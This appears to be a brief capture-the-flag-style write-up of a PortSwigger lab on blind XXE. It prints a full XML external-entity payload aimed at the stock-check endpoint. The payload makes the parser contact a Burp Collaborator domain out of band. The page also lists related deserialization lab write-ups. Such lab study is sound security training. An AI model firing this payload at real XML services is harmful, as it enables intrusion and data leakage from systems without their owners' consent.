On this page
apsyleg1 min read
#portswigger #xxe #web-security
Blind XXE with Out-of-Band Interaction
Lab
Blind XXE with out-of-band interaction · Practitioner
Solution
Given
This lab has a "Check stock" feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Analyzing the task
The check-stock function parses XML but doesn't show the result in the response. That means we need to use the OOB technique.
Exploitation
Find the Check stock function:
POST /product/stock
XML in the body.
OK, let's straight away add an external entity and send a request to Burp Collaborator. Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Lands.
Lab solved!
More in this category
Arbitrary Object Injection in PHP (PortSwigger Lab)
Recovering leaked source code and injecting a serialized CustomTemplate object whose __destruct deletes an arbitrary file.
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.